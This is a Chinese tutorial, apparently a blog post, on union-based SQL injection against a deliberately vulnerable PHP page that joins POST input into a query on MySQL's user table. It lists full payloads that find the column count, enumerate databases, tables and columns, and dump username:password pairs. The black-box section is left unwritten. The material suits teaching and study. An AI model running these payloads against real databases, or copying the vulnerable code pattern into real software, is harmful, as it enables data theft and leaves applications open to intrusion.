在这里可以进行白盒or黑盒,就此对两种方法都进行说明。

白盒测试

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php 
@$con = mysql_connect('127.0.0.1', 'root', 'root');
mysql_select_db('mysql');
@$q = $_POST['sql'];
$sql = 'SELECT * FROM `mysql`.`user` WHERE `user` = \'root\' ' . $q;

echo "将执行了sql语句: {$sql}<br><br>";
$res = mysql_query($sql) or die(mysql_error());

if ($res) {
$arr = mysql_fetch_array($res);
echo "查询的结果为:<br><br><tr>";
echo "<td>" . $arr[0] . "</td><td>" . $arr[1] . "</td><td>" . $arr[2] . "</td></tr>";
}

?>

mysql_fetch_array()函数

定义如下:

​ mysql_fetch_array() 函数从结果集中取得一行作为关联数组,或数字数组,或二者兼有

返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false。

​ 大致就是将查询到的值以$arr[m]=xx这样的关联数组形式展示出来,且只显示第一行。但关联数组查询的数据会在接下来的行中显示。因此可以使用and 1=2使前面查询不到,就此我们关联查询的就可以显示出来。或者使用limit1,1将第二行读取出来。

三个回显位

1
echo "<td>" . $arr[0] . "</td><td>" . $arr[1] . "</td><td>" . $arr[2] . "</td></tr>";

在网页上共输出了$arr[0],$arr[1],$arr[2]这三个数组,由此可以得知:我们在关联查询时只能在前三位查询,否则即使查询到数据,也不会回显出来。

判断注入类型

1
2
@$q = $_POST['sql']; 
'SELECT * FROM `mysql`.`user` WHERE `user` = \'root\' ' . $q;

在这里接收一个$q参数,并且用.将$q和前面的语句结合在一起。查询语句如下:

1
SELECT * FROM `mysql`.`user` WHERE `user` = 'root' $q;

因此在这里可以看作“数字型”注入(原理像,请百度),就此直接在后面拼接上语句即可。

注入参数流程

查找字段数

老方法,既然没有过滤任何关键字。那直接使用二分法排序查询字段数。

1
首先order by 30,可以看到有30个字段
1
在使用order by 50,发现页面发生了变化。证明没有50个字段
1
就此发现原来是49个字段

因为白盒审计已经知道前三位回显,接下来就可以使用基础语法去查询了。

1
and 1=2 union select x,x,x,4,5,6,7,8,9,,,,,,47,48,49

查询数据库

首先看一下关联数组时会用到的数组!

group_concat()函数

将所有查询到的数据都放在一起输出。如总共有10行,都放在一行输出。为什么要这样呢?因为前面用到了mysql_fetch_array()函数,只会读取一行。所以要将数据放在一行中进行读取。

查询数据库

1
and 1=2 union select 1,2,(select group_concat(schema_name) from information_schema.schemata),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49

查询表

常规操作

1
and 1=2 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='ceshi'),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49

查询字段

查询ceshi库content表中的字段

1
and 1=2 union select 1,2,(select group_concat(ip,':',time) from ceshi.content),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49

查询ceshi库users表中的字段

1
and 1=2 union select 1,2,(select group_concat(column_name,'::') from information_schema.COLUMNS where TABLE_NAME='users'),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49

查询数据

查询users表中username 和 passwd的数据

1
and 1=2 union select 1,2,(select group_concat(username,':',passwd) from ceshi.users),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49

查询数据

黑盒测试

不想写了嗷,洗衣服去了